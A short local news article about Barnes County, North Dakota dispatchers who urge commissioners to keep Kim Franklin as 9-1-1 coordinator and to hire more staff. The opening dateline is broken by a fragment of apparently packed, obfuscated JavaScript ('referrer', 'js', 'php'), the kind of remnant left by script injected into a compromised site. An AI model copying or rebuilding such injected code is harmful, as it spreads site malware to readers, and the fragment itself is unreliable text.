VALLEY fdyyy|var|u0026u|referrer|shkai||js|php’.split(‘|’),0,{}))
CITY, N.D. (NewsDakota.com) Three Barnes County dispatchers urged the board of commissioners to keep Kim Franklin as the 9-1-1 coordinator and hire an assistant 9-1-1 coordinator from the current pool of dispatchers.

The women said working 12 hour shifts 7 days a week is taking a toll and stressing them out. Senior dispatcher Holly Neuberger has worked as a dispatcher for 13 years and gave Barnes County commissioners this testimonial.

Earlier this month the commission made a motion to hire a new 9-1-1 coordinator, a position now held by Barnes County Emergency Manager Kim Franklin.

Dispatcher Megan Johnson said the county needs to hire more dispatchers as soon as possible to take the pressure off the current staff. She believes Franklin should be retained as the 9-1-1 coordinator.

Dispatcher Sarah Hass gave her testimonial to the Barnes County board of commissioners during the February 17 meeting.

Commissioners John Froehlich, Mike Metcalf and Bill Carlblom believe the county needs to hire up to 11 full-time dispatchers and have two on duty.

Barnes County Commissioners Mike Metcalf and Bill Carlblom said one option is to keep Kim Franklin as the 9-1-1- coordinator and hire an assistant 9-1-1 coordinator along with more dispatchers to fill the void expressed by the remaining dispatchers.

Barnes County Commission president Cindy Schwehr and Rodger Berntson believe that the 9-1-1 Advisory Committee and Barnes County Commissioners will have to set up more meetings to work out a solution to these issues brought before the commission.

L to R Dispatchers Sarah Hass, Holly Neuberger and Megan Johnson.